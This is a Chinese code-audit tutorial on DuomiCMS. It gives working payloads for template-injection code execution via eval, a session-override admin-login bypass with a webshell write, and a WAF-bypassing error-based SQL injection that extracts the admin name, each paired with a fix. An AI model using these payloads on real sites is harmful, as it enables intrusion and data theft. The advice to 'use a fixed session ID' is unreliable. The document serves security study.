duomicms代码审计
字数 1493 2025-08-15 21:31:01

DuomiCMS代码审计与漏洞分析教学文档

一、系统流程分析

1. 核心文件加载顺序

  1. common.inc.php - 安装生成的MySQL配置文件,用于判断系统是否安装
  2. common.php - 核心配置文件,功能包括:
    • 加载webscan.php(二次过滤)
    • 定义系统路径
    • 加载common.func.php
    • 执行外部参数过滤转义
    • 加载数据库类(sql.class.php)
    • 加载图片类(image.class.php)
    • 加载计划任务类

2. 关键安全机制

  1. 外部变量检测和转义

    • 使用addslashes进行转义
    • 禁止键名包含cfg_GLOBALS
    • 可通过cookie绕过键名限制
  2. webscan.php二次过滤

    • 过滤黑客常用函数:unionload_filesleepconcatgroup_xxx
    • 过滤JS事件函数防止XSS
  3. sql.class.php数据库安全

    • 校验敏感SQL函数
    • 对单引号包裹部分用$s$替换并保存在$clean变量

二、漏洞分析与利用

1. 代码执行漏洞

位置:core.class.php中的parseIfparseSubIf方法

利用条件

  • 使用{if:开头
  • Payload长度限制为20字节
  • 最终可用payload长度:15字节(扣除{if:

利用方式

search.php?searchword={if:eval($_POST[x])}

修复方案

$svar = str_replace(array('(', ')'), '', $svar);

2. 变量覆盖漏洞

位置:common.php中的外部变量处理

利用链

  1. 通过$_GET$_POST$_COOKIE覆盖变量
  2. 结合文件写入获取webshell

文件写入点:admin_ping.php

  • 需要设置action=set
  • Payload示例:";eval($_POST[x]);//

绕过登录验证

  1. 通过member/share.php设置session:
/member/share.php?_SESSION[duomi_user_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1
  1. 然后访问admin_ping.php写入webshell

修复方案:严格验证session赋值

3. SQL注入漏洞

漏洞文件:duomiphp/ajax.php
可利用参数:uid(位于SQL语句末尾,无引号包裹)

利用限制

  1. webscan.php过滤常见SQL关键字
  2. sql.class.php过滤select等语句

绕过技巧

  1. 使用非常规字段表示法:
`'`.``.vid
  1. 使用显错注入函数:
extractvalue(1,concat_ws(0x7e,0x7e,(select`name` from duomi_admin where id =1)))

完整利用URL

duomiphp/ajax.php?action=addfav&id=1&uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x7e,0x7e,(select`name` from duomi_admin where id =1))) and `'`.``.vid

修复方案

  1. 将参数强制转换为数字
  2. 添加引号包裹

三、知识点扩展

1. SQL注释方式

  1. --+空格
  2. #
  3. /*!数字 xxxxx*/(数字表示MySQL版本号)

2. 非常规字段表示

  1. column=xxx(正常表示)
  2. `任意符号`.``.column=xxx

3. 显错注入技术

  1. extractvalue

    extractvalue('目标xml文档',concat('xml路径'))
    
    • 最大查询字符串长度:32
  2. updatexml

    updatexml('目标xml文档',concat('xml路径'),'更新的内容')
    
  3. 连接函数:

    • concat('str1','str2')
    • concat_ws('连接符','str1','str2')
    • group_concat(column) - 返回字符串结果

四、防御建议

  1. 输入验证

    • 对所有输入参数进行严格类型检查
    • 对特殊字符进行过滤或转义
  2. 会话安全

    • 使用固定会话ID
    • 防止会话固定攻击
  3. 数据库安全

    • 使用预处理语句
    • 最小权限原则
  4. 代码安全

    • 避免使用eval等危险函数
    • 对模板解析进行严格限制
  5. 文件操作安全

    • 限制文件写入权限
    • 对写入内容进行严格过滤

通过全面分析DuomiCMS的安全漏洞,我们可以更好地理解Web应用程序安全的重要性,并在开发过程中实施更严格的安全措施。

DuomiCMS代码审计与漏洞分析教学文档 一、系统流程分析 1. 核心文件加载顺序 common.inc.php - 安装生成的MySQL配置文件,用于判断系统是否安装 common.php - 核心配置文件,功能包括: 加载webscan.php(二次过滤) 定义系统路径 加载common.func.php 执行外部参数过滤转义 加载数据库类(sql.class.php) 加载图片类(image.class.php) 加载计划任务类 2. 关键安全机制 外部变量检测和转义 : 使用 addslashes 进行转义 禁止键名包含 cfg_ 和 GLOBALS 可通过cookie绕过键名限制 webscan.php二次过滤 : 过滤黑客常用函数: union 、 load_file 、 sleep 、 concat 、 group_xxx 过滤JS事件函数防止XSS sql.class.php数据库安全 : 校验敏感SQL函数 对单引号包裹部分用 $s$ 替换并保存在 $clean 变量 二、漏洞分析与利用 1. 代码执行漏洞 位置 :core.class.php中的 parseIf 和 parseSubIf 方法 利用条件 : 使用 {if: 开头 Payload长度限制为20字节 最终可用payload长度:15字节(扣除 {if: ) 利用方式 : 修复方案 : 2. 变量覆盖漏洞 位置 :common.php中的外部变量处理 利用链 : 通过 $_GET 、 $_POST 、 $_COOKIE 覆盖变量 结合文件写入获取webshell 文件写入点 :admin_ ping.php 需要设置 action=set Payload示例: ";eval($_POST[x]);// 绕过登录验证 : 通过member/share.php设置session: 然后访问admin_ ping.php写入webshell 修复方案 :严格验证session赋值 3. SQL注入漏洞 漏洞文件 :duomiphp/ajax.php 可利用参数 :uid(位于SQL语句末尾,无引号包裹) 利用限制 : webscan.php过滤常见SQL关键字 sql.class.php过滤 select 等语句 绕过技巧 : 使用非常规字段表示法: 使用显错注入函数: 完整利用URL : 修复方案 : 将参数强制转换为数字 添加引号包裹 三、知识点扩展 1. SQL注释方式 --+空格 # /*!数字 xxxxx*/ (数字表示MySQL版本号) 2. 非常规字段表示 column=xxx (正常表示) `任意符号`.``.column=xxx 3. 显错注入技术 extractvalue : 最大查询字符串长度:32 updatexml : 连接函数: concat('str1','str2') concat_ws('连接符','str1','str2') group_concat(column) - 返回字符串结果 四、防御建议 输入验证 : 对所有输入参数进行严格类型检查 对特殊字符进行过滤或转义 会话安全 : 使用固定会话ID 防止会话固定攻击 数据库安全 : 使用预处理语句 最小权限原则 代码安全 : 避免使用 eval 等危险函数 对模板解析进行严格限制 文件操作安全 : 限制文件写入权限 对写入内容进行严格过滤 通过全面分析DuomiCMS的安全漏洞,我们可以更好地理解Web应用程序安全的重要性,并在开发过程中实施更严格的安全措施。